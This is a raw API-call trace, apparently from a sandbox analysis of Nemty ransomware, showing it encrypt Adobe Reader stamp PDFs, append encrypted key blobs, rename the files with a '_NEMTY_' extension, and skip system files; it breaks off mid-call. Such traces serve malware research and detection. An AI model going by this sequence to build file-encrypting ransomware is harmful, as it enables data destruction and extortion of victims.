RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.829] Sleep (dwMilliseconds=0x5) [0188.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2433a910, dwHighDateTime=0x1d561e8)) [0188.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2433a910, dwHighDateTime=0x1d561e8)) [0188.836] GetLastError () returned 0x0 [0188.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.836] GetLastError () returned 0x0 [0188.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.836] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.836] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.836] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="w1qeBAhtZ+fXGSuQwwbD+bRCeOKnii95X6rHA8H4lXmuNKtqQfzRHowxt4AELokZ\r\nbGHhArvoInGvjd4u8Lv+f9EI1drOLZcIWoYn5n8fJ7ENSn+fyb6ZAPCDw2/2i1QJ\r\nNuH0GeCVA+473BDsAm1EsJ0QNV3+1U0biRoqz/2jCvN0DH3V3mznbtkBwxWb7iN2\r\nTPztBndRn8Xw8GC2GLx+A2xquxLqySftqrVqmvi3zcUY00FZo5YlGpgp+mlI2/Nk\r\n/s7vCI6KtNEbgW2dQG8+niKfGH+7ix/D4qkk1pgAGVdX4GwDambuITD238N52MPW\r\nPYBTB22yWurtqVHWW0Lpzg==\r\n", pcchString=0x653df5c) returned 1 [0188.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.837] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=36857) returned 1 [0188.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8ff0) returned 0x6352c48 [0188.837] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.837] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8ff0, lpOverlapped=0x0) returned 1 [0188.841] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.841] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8ff0, lpOverlapped=0x0) returned 1 [0188.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.841] SetFilePointer (in: hFile=0x320, lDistanceToMove=36857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ff9 [0188.841] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.842] CloseHandle (hObject=0x320) returned 1 [0188.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.842] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.843] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18575, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0188.843] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0188.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0188.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.843] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.843] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0188.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0188.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.844] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0188.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0188.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0188.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0188.844] Sleep (dwMilliseconds=0x5) [0188.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24360a70, dwHighDateTime=0x1d561e8)) [0188.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24360a70, dwHighDateTime=0x1d561e8)) [0188.851] GetLastError () returned 0x0 [0188.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.851] GetLastError () returned 0x0 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.852] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.852] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0188.852] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="5hu1e8s+5EWWKmY2KMlcaz7LYHlVL9p2LQAX/GxD5cHTf3JXCYTP1iQHf203ie+v\r\nHw2C6cEsxCb9c0hIBmbhNuP3l8S7SpEepzOIhZ6pHyEogqcywDsdWYwYcEtgnr5q\r\n/UeA+kzPczfDRYWeSlQwF9fIxgICvJ8ulPuCoioGIcQd1GVtSRK8jqMfFhu2V/B+\r\ndGxea5t3lCUQR8DEWropoRtce5uIEjJtm6Ozb6N/hv+OjOFiiLAAxdN8wpt9Pho0\r\nEaeABxiEZCj4nNpuuK7T5YCG/k77eKbYthsxzDroc91GghOoKBEnv+2WEreVEaCc\r\nGNYyK8v3zO+9nqcPHJzD0w==\r\n", pcchString=0x653df5c) returned 1 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0188.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.852] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=99701) returned 1 [0188.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x18570) returned 0x6352c48 [0188.853] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.853] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x18570, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x18570, lpOverlapped=0x0) returned 1 [0188.860] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.861] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x18570, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x18570, lpOverlapped=0x0) returned 1 [0188.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.861] SetFilePointer (in: hFile=0x320, lDistanceToMove=99701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18575 [0188.861] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.861] CloseHandle (hObject=0x320) returned 1 [0188.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0188.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0188.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0188.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0188.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0188.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0188.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0188.861] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.862] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x242c84f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x242c84f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x242ee650, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0188.862] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0188.863] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0188.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 